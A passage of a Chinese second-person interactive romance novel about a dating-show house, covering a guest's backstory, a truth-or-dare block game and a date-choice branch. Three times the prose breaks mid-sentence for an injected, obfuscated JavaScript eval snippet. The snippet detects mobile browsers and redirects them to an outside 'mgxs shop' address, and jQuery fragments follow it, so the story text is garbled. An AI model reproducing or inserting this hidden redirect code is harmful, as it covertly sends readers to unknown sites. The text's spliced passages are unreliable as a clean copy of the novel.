“嗯,昨天晚上听到你有些咳嗽,所以今天想熬点汤给你补补。”说着,潭西洲往汤里撒了些白胡椒,然后调小火慢慢煨着。
你才发现,最近疲于周旋在周越韩以泽之间,似乎忽略了潭西洲,但每天晚上,你依旧会收到他的短信,无论对你还是对他,这似乎已经成为了一种习惯。
不知不觉间,你已经将他当成可以袒露心声的朋友。
你发自肺腑地道谢,又很感动:“谢谢,你人真的很好。”
潭西洲拿勺子舀汤的手一顿,笑得有些令人心酸:“现在就迫不及待给我发好人卡了?”
你急忙解释:“我不是那个意思。”
潭西洲将勺子放回原处,抬头看着你:“我知道,但是想不在意一件没那么容易的事。”
你顿住脚步呆在吧台边,心已经被这句话捏软了,想说话却不知道说什么,想帮忙又担心添麻烦。
面对他的难题,你难以启齿,因为你无法给他确切的回答,也无法抚平他的意难平。
潭西洲:“我不希望这句话给你造成心理负担,你不需要觉得要对我做出怎样的回应,我也不想让你和我相处的时候,要再三思量才会说话。”
你再次被他的话感动了。
潭西洲说这话的时候,正在水池边洗餐具,并没有看着你。
而你一动不动地望着他,他左耳的银色耳钉在灯光的照射下,闪耀着奇异的光芒。
这个问题压在你心里很久,总是忘记问他关于这个的故事,他明明是那么循规蹈矩的人。
“那个……”你指了指他的耳朵,“耳钉的故事我能听听吗?”
潭西洲抬头看了你一眼:“想听?”
你点点头。
潭西洲关火,浓白的热汤盛进碗里,端给你:“那就边喝边听。”
你听话地抿了一小口,瞬间感觉胃暖和了不少,你维持捧着碗的姿势,等他讲故事。
PD消息:马上揭晓第一位男嘉宾的背后故事~
11. 第十一章
潭西洲坐在你对面,一双眼睛越过你,好似回到了多年前:“不知道你有没有过叛逆的时期,我的叛逆期来得很晚。其实我大学并不是法学专业,高考与法学以一分之遥擦肩而过,调剂到一个自己并不是很喜欢的专业。”
你喝汤的速度随着他的语气慢慢缓下来。
“我试图坦然接受命运的安排,但实际上,入学后,我非常消沉地度过了很长一段时间,麻木地上课,麻木地回宿舍,麻木地吃饭睡觉,光阴就虚度在这样无聊又没意义的日子里,”说到这,潭西洲眉目低敛,甚至发出一声自嘲,“那时候我几乎以为自己的人生就这样完蛋了。”
“唯一支撑我的是乐队,”看着你不可思议的眼神,他解释道,“高中的时候我组了乐队,在校园比赛里,我能听到整个世界为我们欢呼,城市音乐节上,和闪烁的荧光棒打着节拍。队里五个成员,是最好的队友,也是最好的朋友。高中毕业之后,虽然我们各自分散在天南海北,但乐队却没有因此解散。”
“大一秋天,我报名了全国大学生音乐比赛,邀请乐队的成员一起参演。那天下了很大的雨,我在训练场外左等右等,等来的却是一场噩耗,一位队友在赶来的路上出车祸去世了。”
你的笑容陡然僵住,心里莫名一凉。
“得知消息后,我本打算和其他队友退赛,但最后还是带着他的遗愿去了比赛现场。他是个很酷的人,拥有一个很酷的耳洞。比赛前夕,乐队所有成员都打了耳洞。他们说,如果以后大家都变成鬼魂,也能凭借这个记号认出对方,那时我们还要一起组乐队。”
潭西洲没有说下去,他闭着眼,在强忍情绪:“我总是在想……如果不是我报名了比赛,如果我没有把排练时间定在雨天,如果我最初没有组建乐队,这一切是不是都不会发生……我无法原谅自己,他本来可以拥有一段非常美好的人生。”
他的手指在颤抖,你伸过去紧紧握住了他的手,才发现他的身体是如此冰凉,心底不由得泛出一种肿胀酸楚的情绪。
“要不要热水?”你收回手,准备去拿他的杯子。
感受到你掌心温度的离开,潭西洲反扣住你的手腕:“别去,我缓一下就好。”
沉默良久,你打破寂静:“后来呢?”
他的唇角勾起淡淡的苦涩:“后来……我们的乐队没有获奖,失去一个队友就像一个团体没有了灵魂。生活有时候就这样,并不会因为给你一巴掌之后,再给一颗枣,也不能赋予圆满的结局来弥补遗憾。”
生活只会让人越来越难过。
潭西洲微微敛目,声音发紧:“再后来,在那年冬天来临之前,我做了一个让所有人不可思议,但自己从未后悔的决定。退学重新参加高考,那是我第一次和命运抗争。”
你张了张口,脸上浮现出前所未有的震惊。
紧接着,他抬起眼,说:“或许你会问我值不值得,明明可以考虑转专业,或者考研换专业。但我做事的准则是,做一件事就要做到最完美。”
“重新高考的那一年,我顺利考取了法学专业最好的学府,”潭西洲对上你的目光,语气又温柔了几分,“所以,生活也有可能,给你一巴掌,再给你一颗枣。”
你含着热泪,被他这句话逗笑了。
那一年,他一定很痛苦,这么想着,你的心不禁又被狠狠揪了起来。
潭西洲也微微一笑,像是在跟过去和解:“人的生命太短暂,如果没有在活着的时候,竭尽全力地拼一次,那么一定会在未来的无数个时刻后悔。所以我从来不会给自己留遗憾。”
他的故事讲完了,你从没想过,他的故事会这么沉重,沉重到任何安慰的话都显得如此苍白。
刚才暖热的汤也已经凉透,你坐在椅子上愣了会儿神,问道:“你的其他队友呢?”
潭西洲的笑意缓了缓:“已经不怎么联系了。”
出乎意料的结局。
看到你有些遗憾,潭西洲反而安慰道:“每次我看到他们,总会回忆起那段伤感的日子。虽然有时候也很想念他们,但好像依旧无法鼓起勇气见面,可能是因为害怕触碰到内心的伤痛。所以我想,他们也是这样觉得的吧。”
“或许,这么说你会好受一些。”潭西洲递了张纸给你。
你接过,感觉自己脑袋都哭懵了,脑仁一抽一抽的。
潭西洲看你难过得停不下来,忙不迭把整盒纸巾都塞到你手中:“说这些真不是想让你伤心的。”
你吸了吸鼻子:“早知道你的过去这么伤感,我就不问了,我……我以为只是一些非主流的七七八八,没想到……”
说到这里,你深深呼吸了两口,有些不忍说下去。
潭西洲淡然地笑着,仿佛这些已经是上辈子的事。
他的手背挨了挨你的碗,说道:“汤凉了,我去热热吧。”
他走向厨房,瘦削的背影映在你的眼睛里,覆盖了一层复杂的色彩。
一时间你有些恍惚,过去到底有多残酷,才造就了现在这样温和的他,以至于那样的痛苦被他三言两语轻轻带过。
受伤是一种痛苦,疗伤又何尝不是。
“那你现在还弹乐器吗?”你带着几分期许。
潭西洲停下动作,迟疑了一秒后,他背对着你摇了摇头。
意料之外,情理之中。
他在厨房里忙碌,你看不清他的表情,却产生了一种莫名其妙的冲动。
等他将汤热好,重新放到你面前时,你看着他,说:“我可以握一下你的手吗?”
其实你想给他一个拥抱,但此情此景,不太合适。
潭西洲被你没头没尾的话弄懵了,他错愕地看着你。
意识到这大概有些不妥,你不好意思地撇过脑袋:“我就是……想给你传递一些力量,不可以也没关系的。”
潭西洲向
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387471|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你伸出手,眸光轻轻颤动。
你靠近他,握住他的时候,甚至清晰地感觉到他的手掌瞬间僵硬。
“逝去的人已经逝去,活着的人要好好活着。”你凑在他的耳旁,缓缓说道。
潭西洲轻轻回握你,掌心的力道温柔却充满力量,他拍了拍你的后背,正打算结束这个短暂的安慰性的握手。
门锁咔哒一响,紧接着大门被推开。
听见声响,你急忙退后一步,匆匆松开潭西洲的手掌。
尽管你的动作足够快,但仍然落进开门人的眼里。
那人难以置信地愣在了原地。
客厅里无比寂静,周越的嘴唇抿成一条直直的线,你们面面相觑,不知道如何开口。
你第一次从他的平静的眼睛中看到了震惊、怀疑、愠恼,还掺杂了一丝不易察觉的受伤。
你躲开周越的视线,转眼却看到他手里拎着白色礼物盒,不知是送给谁的,或者说谁送的。
注意到你的视线,周越将手往后面藏了藏。
发现了他的动作,你莫名有些失落,你将目光从他的手中挪开,强制中断自己的联想。
隔着空气,周越的目光来回打量着你和潭西洲,他似乎想说什么。
可你今晚已经很累了,此刻只想自己一个人静静待着。
你转身上楼,回到卧室,无意中看到镜子里的自己,眼睛又红又肿,整个人像在水里泡过。
你拿了条冰毛巾敷着眼睛,躺在床上,脑子里乱乱的,脑袋也变得越来越沉,一阵强烈的疲惫感涌了上来,你不知不觉睡着了。
睡梦里,你听到其他人陆陆续续抵达小屋,楼下的声音一阵接一阵,或高或低。
你皱了皱眉,试图从那些声音中分辨出一些特别的对话。
“周越,你说很怀念的一食堂麻辣烫,今天我给你从学校里带了回来。”这是赵念念的声音。
“谢谢,不用这么麻烦。”
“你和我还用得着客气嘛,下次你请回来就好了呀。”
……
“最近学校里还忙吗?”唐甜和霍远在二楼卧室外的小客厅,聊天的声音清晰地传了过来。
“今天不忙,所以想来找你聊聊天。”唐甜说。
“好啊,聊到半夜都行。”
……
“上次我工作上的纠纷,你介绍的律师帮了大忙,”何君子和潭西洲在楼下的健身房。
“没什么,刚好有同事涉及那部分业务,既帮你解决了问题,也给他介绍了案子,”潭西洲说,“一举两得。”
“不过,”何君子卖了个关子,“我听说你在你们律所很受欢迎啊。”
明明有点吃醋,语气却满是玩笑。
……
在这些断断续续而又嘈杂的声音中,你挣扎着醒过来,感觉头有些疼。
躺在床上发了几分钟呆后,你打算下楼去看看。
12. 第十二章
楼下。
大家已经吃过晚饭,周越在收拾碗筷,你才想起今天应该轮到你们洗碗。
你绕过人群,走到厨房戴上围裙。
周越感受到有人靠近,侧头看到是你,他的目光在你的脸上审视半瞬,语气淡得毫无波澜:“醒了?”
你点点头,接过他洗好的碗,擦干后放在置物架上。
客厅里,赵念念的眼神一直朝你们这里瞟。
注意到她的动作,韩以泽不禁问道:“你有什么东西落在厨房了吗??”
赵念念一拍脑门,她下午买了蛋糕,可以当饭后甜点,说着,她一边起身,一边去拿。
厨房。
赵念念来冰箱里取东西,顺便拿出一瓶果汁,问你们喝不喝.
你和周越都摇摇头。
她没有走,站在你们身后想帮忙,但一时插不进来手,只能不停地找话题。
见状,你回头说:“你想洗?要不你来洗吧。”
你不喜欢和别人争抢,也不喜欢别人来抢,如果别人硬要来,那你就放弃。
“不用了,”周越收回你手中的瓷碟,声音像冬天井里的冷水,“我自己来,你们都出去吧。”
你看了周越一眼,他浑身上下散发着拒人千里之外的冷漠感,像初见时那样。
不知道是不是撞见你和潭西洲的缘故,但你已经没有力气分析,你默默地把碗筷递给他。
周越接过,未置一词。
流动的空气凉而微涩。
身后的赵念念凑过去,试图想和他再讲些什么,但看到他脸色中暗藏的凉意,便悻悻地跟在你身后,离开了厨房。
客厅,唐甜靠着沙发,咬了口桃子,冲厨房这里扫了一眼,随后意味不明地收回视线,含糊不清道:“怎么一会儿没留神,人全跑去洗碗了。”
所有人齐刷刷地朝你们看过来。
你笑了笑没说话。
跟在你身后的赵念念有些泄气,转了个弯,上楼去了。
不多时,她又兴冲冲地跑下楼,指着窗外说有人在放烟花。
话音刚落,一群人呼啦啦地跑到窗户边往外瞧。
你在最外层,踮起脚尖,却只能看到黑压压的头顶,于是只好放弃,转身时,和韩以泽的目光撞了个正着,他的目光仅在你身上停留一瞬,便移开了。
你却鬼使神差地走了过去:“你不去看看?”
韩以泽靠着沙发,扫了眼客厅里聚在一堆的人,嘴角轻轻扯起:“没兴趣。”
你哦了声,坐回沙发。
他:“不是洗碗吗?怎么来客厅了?”
你顺着他的目光看向厨房,那里只剩周越孤零零一个人,在做最后的收尾工作。
“哦,他说他自己一个人就行。”话音还带着些赌气的成分。
韩以泽却笑了:“嗯,周越说的话就管用?我的话就不管用?”
你不满:“你的话什么时候不管用了?”
在烟花爆炸的声音里,你听到韩以泽说:“不收我的礼物算不算?”
话音刚落,突然有什么东西从眼前一闪而过,然后怀里一沉,你低头看去,居然是一台银光闪闪的相机,机身刻了你的名字。
“?”你的眉头微微蹙起,看向韩以泽的眼神中充满疑惑。
韩以泽淡淡道:“只是因为不想和别人雷同,就放弃自己喜欢的东西,不可惜吗?”
你张着嘴,摩挲着相机的logo,一时没反应过来。
最近这个牌子的相机在各大平台都有营销广告,而这台机型自从出售,线上抢购秒空,线下门店排成长龙,火爆到连你都有所耳闻。
而仅仅因为你想拍照,他特地去买了一台。
烟花结束,众人回到客厅,韩以泽喊住唐甜,让她帮忙给你们拍个合照,试试这相机好不好用。
接着,韩以泽把相机递过去,拍完合照,他又提议说给你单独拍一张。
你愣了一下,然后笑了笑,说行啊,然后冲着唐甜摆好姿势。
过了几秒,唐甜有些迟疑地从镜头后抬起头,想说什么又没说,忍着笑缩回镜头后面。
你没多想。
她拍好后,把照片递给你。
接过后,你拧着眉头,指着照片里自己的头顶冒出来的两只手:“这是谁的手?”
唐甜心虚地看向韩以泽。
你瞬间领会,质问他想干嘛。
韩以泽的语气不急不愠:“我们的合照你不一定会留着,但以后如果你翻到这张照片,就会再想起我。”
他的目光过于认真,以至于你连坐着都有些不知所措,只好含含糊糊地从嗓子里哼了一声。
有时候他就像是一面盾,你看不穿,也捅不破,甚至他还藏着一把矛,偶尔掏出来逗你玩一下。
你能感觉到他可能对你有好感,但你对这份缘由琢磨不透,你开始回想第一次见面的情景。
可你完全不记得初见给他留下了什么深刻的印象。
想了一会儿没想通,干脆放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393941|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弃了,管他呢。
有了这台相机,你让韩以泽给你们拍了好多张照片。
赵念念也来凑热闹,兴冲冲挨着你坐下,说想和你拍张合照。
注意到韩以泽手里的相机,她两眼放光,激动地说这是新款,问他在哪里买的。
韩以泽神色淡淡:“朋友做数码产品的,所以让他帮忙买了一台。”
赵念念很喜欢摄影产品,问能不能借给她试一下。
韩以泽却指了指你:“这是她的,你得问她。”
你哭笑不得,在赵念念恳求的眼神中,你无语地看了眼韩以泽,答应了她的请求。
然后赵念念挨着你坐下,说想和你拍张合照。
韩以泽说他来帮你们拍。结果当他按下快门的时候,照片迟迟没有出来。
他低头掀开卡槽,相纸没了。
……
难得在他脸上看到尴尬的表情,你忍住笑:“相纸放在哪里,你告诉我,刚好我要去楼上拿毛毯。”
楼下的空调温度开得低,你有点冷。
韩以泽按住你,说他上去取。
看着韩以泽上了楼,你返回客厅。
此时周越已经从厨房出来,他闭着眼睛,仰靠在沙发上,眉眼间看起来很疲倦。
你想问问他是不是身体不太舒服,可一想到他刚才在厨房毫不留情的场面,又不想向他服软,遂放弃。
韩以泽很快从二楼下来,除了相纸,手里还多了件毛毯。
他将毛毯稳稳披在你肩上,说:“别着凉。”
闻言,周越的眼皮突然动了一下。
他半睁开眼,眼尾扫过你肩上的毛毯,然后他摸起身边的空调遥控器,把温度调低几度,又缓缓闭上眼睛。
之后,你拿着新相纸拍了几张照片。
周越一直在旁边休息,一脸置身事外的样子,不出声,不打扰,也不走。
另一边,唐甜喊大家去玩游戏,她正和霍远搭积木。
说明书扔在一旁,你捡起来,扫了两眼,大致明白了游戏规则。
积木横竖相间搭成高高的长方体,每人轮流抽一块,保证积木不塌。
每抽一块就要完成积木上的任务,任务内容为真心话大冒险。
如果不愿完成,就自罚一杯。
此外,若积木坍塌,就要接受洗碗一周的惩罚。
【你准备】
A玩
B不玩
A转至下一章
B跳过下一章
13. 第十三章
你以前见不少人玩过,要保证积木不塌,看上去容易,真正动起手来,实在太难了。
你们围坐成圈,还是老规矩,石头剪刀布,决定谁先抽。
一轮过后,还是那个不擅长玩游戏的你先开始。
你率先抽走一根,积木上写着,“小屋里有心动的人吗?”
……上来就这么刺激,全场人都来了兴致。
在众多期待的眼神中,你很坦率地回答有。
有人八卦问是谁,话音一落,立刻有好几束目光投向你,你机警地回道:“积木没问这个问题哦。”
这个回答让他们无可再问,只好放过你。
下一个是坐在你旁边的周越,他抽走了最中间的一根,上面写着:“如果你喜欢的人不喜欢你,你会选择怎么做?”
抽出最安全的一根木条,却印着最扎心的问题。
周越的面容一下子冷了下来,他明显不是很想回答这个问题,然后二话不说捞起桌子上酒杯,一饮而尽后,他话不对题地冒出一句:“就算不喜欢,也不能推给别人。”
他的脸却被酒精催化成绯色,声音也低沉得像一杯烈酒。
桌上的人互相对了个眼神,虽然不明白周越怎么了,但都看出了他的异样。
沉默一秒后,继续下一个。
下一个是赵念念,当她看到积木上的字,脸瞬间红了:“请大声说出自己喜欢的人的名字。”
全场欢呼,像一壶沸腾的开水,噗噗地冒着热气。
“这个,能不能接受惩罚……”赵念念小心翼翼地征求意见。
被大家一齐拒绝后,她灵机一动:“我喜欢何君子!”
众人不满:“异性!”
赵念念瘪了瘪嘴:“又没规定非得说异性。”
众人不依不饶,在大家的催促下,她微微侧过脸,眼神向旁边一瞥,语气却紧张起来:“明明都知道,干嘛非要我说出来。”
大家心照不宣地笑了。
这时,何君子帮忙解围:“好了好了,为难一个小女孩干嘛,下一个吧。”
下一个是潭西洲,抽出的积木是:“请展示一张五年前的个人照片。”
五年前,潭西洲还是大学生。
你心想这游戏太狠了,谁手机里存着五年前的照片啊。
大家已经在商量用惩罚了,可潭西洲说他有。
在你们的注视下,他摸出手机,划拉几下屏幕,调出照片,然后将手机放在茶几上。
他坐在沙发上,看你们围成一圈。
照片是晚上拍的,茂密的绿树下,四个人勾着背,相貌不同,各有各的帅。
何君子问道:“哪个是你?”
潭西洲神秘地摇摇头,让你们猜猜看。
结果大家猜了一圈都没猜对?
最后,你指着中间那个染着蓝发,最不像他的男生,问道:“这个?”
潭西洲瞟了你一眼,轻轻地嗯了一声。
众人匪夷所思,纷纷凑过去观摩。
路灯下的人穿灰色套头衫,顶着一头蓝发,戴着银光闪闪的金属配饰,恣意且张扬。
他整个人松垮垮地攀着两边人的肩,俨然一副叛逆少年,和现在相比,不能说一模一样,可以说是毫不沾边。
唐甜惊叹,她以为潭西洲一直是体贴细心的暖男,没想到以前还是个放浪不羁的非主流。
何君子指着角落的乐器,问道:“你以前组过乐队?”
“乐队?”霍远凑过去看,轻轻捶了潭西洲两拳,“有两下子啊,这么深藏不漏。”
你将视线转移到照片上,画面里的四个男生笑得璀璨灿烂。
面对大家的调侃,潭西洲俨然一副置身事外的样子,他温和地笑着,好像在听别人的故事。
只有你注意到他眉宇间闪过淡淡的忧伤。
何君子继续问道:“那你现在还弹吗?”
潭西洲笑着摇摇头。
“为什么?”
面对大家的诸多疑问,潭西洲没有为此解释,看起来并不想对这事讨论太多。
因此纵使他们有太多的好奇,也只能放弃追问。
接下来是何君子,她抽出的积木是一句真心话:“会主动追求异性吗?”
她不假思索地答:“会。”
毫不意外的回答。
这时,韩以泽的手机响了,他扫了眼手机,说有个工作上的紧急电话,要出去接一下,让你们先玩。
下一个是霍远,当他看到木条上写的字时,嘴角抽了抽,念出:“挑一位异性喝交杯酒。”
截止到目前,这是尺度最大的一个问题。你们逐渐兴奋起来。
感觉到霍远有些犹豫,你下意识地瞟了眼唐甜。
唐甜没反应似的,镇定自若地仰起头喝了一口水。
然而,当霍远念出赵念念的名字的时候,唐甜明显迟钝了一下,眼中闪过一丝落寞。
另一边,被点到名的赵念念不可思议地指着自己,她从来没想过霍远会选她。
在周围暧昧的眼神里,赵念念不自在地转开眼,她不会喝酒,便以水代酒,和霍远的交杯结束后,她的脸扑红。
下一轮是唐甜,抽积木的时候,她显然有些心不在焉。
就在她抽出木块的一瞬间,积木轰然倒塌,
在场人实实在在地被这动静吓了一跳。
唐甜尴尬一笑,将积木重新搭起来,坦然地接受终极惩罚,承包了接下来一周的洗碗工作。
看得出来大家没有玩尽兴,这轮结束后,你们马上开始了新一轮。
堆砌而成的积木被抽走不少,整体框架零零散散。
第一局还是你,不知道为什么,你突然有些紧张。
何君子学建筑的,对结构框架再熟悉不过,她悄悄提醒你抽最中间的那支。
你擦了擦手心,伸向那一摞积木最中间的一块。
……有点晃,心瞬间提到了嗓子眼,你小心翼翼地一点一点往外抽。
当木条完全被抽出时,积木塔微微轻晃,最终顽强地站住了。
真是虚惊一场,你长吁一口气。
然而,看清木条上的字,你脑袋霎时充血,啪地一声把积木扣在桌子上。
有人问你怎么了。
你突然转过脸,盯着周越,只看了一眼,又回过头,脸颊染上不自然的红色。
唐甜疑惑地捡起你刚撂下的积木,念着上面的字,“和离得最近的异性十指相扣,并对视一分钟。”
全场欢呼不过一秒,瞬间安静下来。
离你最近的异性原本是坐在你右侧的韩以泽,结果因为他刚才去接电话,现在变成了右侧的右侧,周越。
所以,你现在面临两个选择。
一,等韩以泽接完电话回来。二,直接选择周越。
赵念念紧张地看着你们。
对面的潭西洲没搭话,目光落在你手中的积木上,和那张照片上面无表情的样子很像。
各式各样的眼神投来。
游戏惩罚而已,成年人嘛,无论选哪个都是为了完成游戏任务。
然而此情此景,不管你选择哪个,都像是撬动命运的支点。
这种游戏尺度,早已经超过了你对周越的了解,他一向不做出格的事。
更何况,今晚你们之间一直处于一种微妙的状态。
你本以为他会拒绝。
然而,周越既没有同意,也没有拒绝,即便今夜氛围如此热闹,他的眉宇间仍透着晦暗和执着。
他沉默地陷入沙发,同别人一样等待着你的回答。
你直起身看了看小屋外。
韩以泽背对着你们,一手插兜,一手举着电话,隔着玻璃,还能听到他说话的声音,看起来一时半会儿挂不了。
你的这一动作落在周越眼里,那副一向面不改色的脸上透出一种隐忍的刺痛。
小屋内再度陷入诡异的沉默。
“没关系,”片刻后,周越神色微敛,将自己面前的酒杯满上,送酒入口前,他说,“你不用纠结,我来接受惩罚。”
一分钟而已,你抿紧嘴唇。
不知哪来的勇气,你不服输地夺过酒杯放在一旁,旋即将他的手握紧:“愿赌服输嘛。”
你的掌心触及周越的皮肤,就被一片冰凉包裹。
你低头看去,他的指节修长,甚至能清晰看到腕侧细细的青筋,明明是一双非常漂亮的手,却这样冷。
肌肤相触,你的指尖搭在他的虎口处,他的手虚虚握拢。
你坐在他旁边,闻得到他身上熟悉的清冽气息,他的眼眸依旧低垂着,你捏了捏周越的手,强迫他看向你的眼睛。
从你紧紧握着的力度上,感受到了你的执拗。周越的心情看上去稍微好了一点,但还是维持着面无表情的样子,看进你的眼睛里。
见状,唐甜也笑,跟着起哄:“对啊,手都牵了,对视一分钟,算什么难事嘛?”
说着,她掏出手机开始计时。
四目骤然靠近,周越的微醺还未消褪。
他的眼睛里倒映着灯光,如墨般的眼眸一眨不眨地盯着你。有些凉,有些沉默的审视,以前他的目光从不会这样直白。
你强忍着躲避的本能。
耳边是远处时钟匀速旋转的滴答声。
冰凉的指尖微微一动,轻轻摩挲着你温热的掌心,仿佛在安抚你。
心中莫名一动,这沉默的抚慰让你感觉自己的脖子又白又红。
寂静的空气,好像有人在激动地倒数,但这都不重要了。
身后,有人推开门,又关上了门。
其他人齐刷刷地朝门口看过去,你僵着身体没动。
背后的脚步越来越近,最后停在你旁边,捡起你刚抽的积木低头看着。
你没回头看,却感受到一束目光袭来,落在你和周越十指相扣的手上。
你挺了挺背,全身绷住,努力忽视身后那道炽烈的目光。
接完电话的韩以泽坐回你旁边。
如果他没接电话,或许现在和你一起完成任务的人应该是他。
韩以泽一来,大家便顾不上你和周越,嚷嚷着要他补上刚才错过的那一轮。
“好啊。”韩以泽声音清润而冷漠,让人捉摸不透。
为缓和气氛,唐甜俏皮地向韩以泽眨眨眼:“游戏很危险噢,要来试试吗?”
韩以泽便随手抽出一块,眼睛朝上面的字一瞥,他勾了勾唇角:“牵手的人现在可以松开了。”
你信以为真,刚松开手,手掌反被一股力道圈得更紧,挣也挣不脱,你不禁诧异地回过头去。
周越的手掌紧紧捏着你的指尖,上半身朝韩以泽的方向凑过去:“真的吗,我看看。”
韩以泽拿着积木躲开,毫无被识破的窘态:“别紧张,开个玩笑。”
众人发现韩以泽夹带私货后,吵着闹着灌了他一杯酒。
随后,韩以泽念出正确问题:“有没有一眼喜欢的人?”
他飞快地在在场人之间扫了一眼,回答得也很快:“当然有。”
“这算问题吗,不然我再抽一个好了,算这轮的。”韩以泽伸手又抽走一块。
结果下一个抽出来的是空白积木,全场哄然大笑。
滴滴滴,唐甜定的一分钟倒计时响了。
你忙松开手,感觉掌心出了一层薄汗,凉凉的。
旁边,韩以泽的目光扫过你们,皮笑肉不笑道:“我还以为你们这个任务要进行到游戏结束。”
……<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397159|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
下一个是周越,他随手摸了块积木,积木摇摇欲坠,瞬间坍塌。
在大家七嘴八舌的讨论中,周越不仅自罚一杯,还接受了打扫一周卫生的惩罚,随后他揉了揉两边的太阳穴:“要不?就到这里吧。”
他的双眼看人时已经有些昏昏沉沉。
众人哪里肯依,开始胡搅蛮缠,非要他念出积木上的问题才能结束。
周越将那块积木牢牢攥在手里,下颌紧紧绷着,眼中闪过复杂难辨的光芒。
接着,他念出积木上的字:“和左侧的人玩‘那当然了’的游戏。游戏规则为:互相问三个问题,对方都只能回答''那当然了''。”
周越左侧的人是韩以泽。
现在俩人的脸上写满了抗拒。
与之相反,众人的困意顿时消散。
周越太内敛,大家和他开玩笑,他的反应都很冷静。
而韩以泽,他高冷得很,一般人不轻易招惹他。
而且大家看得出来,周越和潭西洲平时在刻意减少交集。
想到这里,众人看向你,气氛变得微妙起来,蛰伏着隐隐的期待。
游戏开始。
第一个回合。
韩以泽:“比起桃花缠身的人,女生应该更需要始终如一的人吧?”
周越皱了一下眉:“那当然了。”
接着他顺着话继续问下去:“”既然你觉得女生需要始终如一,那下次约会的时候,你应该会帮我留出单独的空间,对吧?”
韩以泽渐渐收了笑意,一字一顿从唇边溢出:“那、当、然、了。”
所有人耐不住八卦的心思,目光若有若无地朝你看来。
第二个回合。
韩以泽:“来小屋之后,你的短信不止发给过一个人,对吗?”
周越一怔,像被戳中痛处一般,答道:“那当然了。”
看起来要和他较劲,周越同样问道:“心动女生还没有对你表现出好感,对吗?”
韩以泽沉默两秒,淡定回道:“那当然了。”
大家看你的眼神又深了一层。
第三个回合。
韩以泽又问:“最近你没有收到心动女生的短信,对吗?”
周越平静的面容终于出现了一丝裂缝,但在游戏规则的压迫下,还是说道:“那,当然了。”
随后,他问:“如果喜欢的女生选择了别人,你应该会立刻退出吧?”
韩以泽的眼睛眯了起来,到底没忍住,他跳过问题,道:“我不觉得她会选择别人。”
随后,他又主动说:“抱歉,我没按游戏规则回答,你可以再多问一个,或者我接受惩罚。”
小屋里静得能听到针掉落的声音。
周越把玩着手里的积木,没有立即提问,等得众人心中毛毛的。
不多时,他身体前倾,将积木撂回桌面,终于开口:“既然韩以泽违反了游戏规则……”
“那我也违反一次。”周越不咸不淡地说道。
你心里突然有种不好的预感,只见周越唇角轻轻提起。
“这个问题,我想问你。”不顾周围人异样的眼光,周越撑着沙发,转头看向你。
你屏气凝神。
周越侧着脸,问道:“从进入小屋到现在,你的心意有变过吗?”
光影里,他的头发微微松散,狭窄的双眼皮略微下垂,看不清他在想什么。
在场人偷偷递了个眼神,竖起耳朵。
你盯着周越恍惚了一瞬,话停滞在嘴边,开始觉得有些煎熬。
半晌,你皱着鼻子,抱歉地笑了笑,坚定着自己的立场:“你抽来的积木,为什么让我回答问题呢。”
说完,你坦荡地回看周越。
他的神色变得很沉默,低声说了句抱歉,是他考虑不周。
众人这才反应过来,叫嚣着不公平。
最后周越和韩以泽均各罚一杯,其他人才罢休。
墙上的钟表指向十一点,时间不早,哈欠声接二连三响起,大家嬉笑着结束了这场游戏。
散场后,积木散落一桌。
你将积木放回原位,抬头望向周越的背影。
他的脚步有些凌乱,碎发散落在额头,悄悄遮住他的眉眼。
那一刻,你突然感觉自己像个无耻而又肆无忌惮的坏蛋,被别人伤害,也在伤害着别人。
……
回到房间,节目组的信息也刚好发送过来。
——“第二次约会任务正式开启,请各位女嘉宾将自己准备的礼物放在客厅的茶几上,礼物的归属结果决定了你明天的约会对象。”
早在前几天你便挑好了礼物。
当时PD和你说,可以根据心仪男嘉宾的喜好制定礼物,或者通过你们这些天的接触,给出提示,这样礼物被心仪嘉宾选到的机率也会更大。
你心里将人选想了又想,依旧毫无头绪。如果他想和你约会的话,不会不知道你喜欢什么,看到你的礼物,也不会轻易让给别人。
这么想着,你打算送出的礼物是?
A黑胶唱片
B书
Cswitch
你想约谁?【慎!PD将根据你的选择安排不同嘉宾的约会】
A周越——书
B霍远——(不会吧不会吧!)
C潭西洲——黑胶唱片
D韩以泽——switch
【是否开启上帝视角,查看其他女嘉宾送出的礼物?】
A否
B是
A请跳过
B何君子:香水
唐甜:手表
赵念念:手工制品
【PD提示:今晚没有短信环节,请大家期待明天的约会。】
14. 第十四章
PD前排提醒:本章为你与周越的约会。如果选择其他男嘉宾,请移步其他章节。不过,你可以选择allin。
-
和上次约会不同,这次你率先来到约定地点,温度越来越高,炙热的时间渐渐烘干了你的耐心。
